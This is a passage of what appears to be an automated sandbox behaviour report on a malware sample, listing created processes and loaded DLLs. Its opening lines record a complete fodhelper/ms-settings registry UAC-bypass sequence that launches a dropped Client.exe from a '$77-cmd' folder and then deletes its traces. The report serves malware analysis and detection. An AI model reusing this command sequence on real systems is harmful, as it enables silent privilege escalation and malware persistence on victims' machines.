Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /ve /d "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe" /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v "DelegateExecute" /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe fodhelper.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 2 /nobreak	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKCU\Software\Classes\ms-settings\shell\open\command" /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c del "C:\Users\user\AppData\Roaming\$77-cmd\UACBypass1.bat"	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Process created: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKCU\Software\Classes\ms-settings\shell\open\command" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /ve /d "C:\Users\user\AppData\Roaming\$77-cmd\Install.exe" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v "DelegateExecute" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe fodhelper.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 2 /nobreak
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKCU\Software\Classes\ms-settings\shell\open\command" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c del "C:\Users\user\AppData\Roaming\$77-cmd\UACBypass2.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 /nobreak

Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: mrmcorer.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: windows.staterepositorycore.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: windows.ui.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: windowmanagementapi.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: wldp.dll
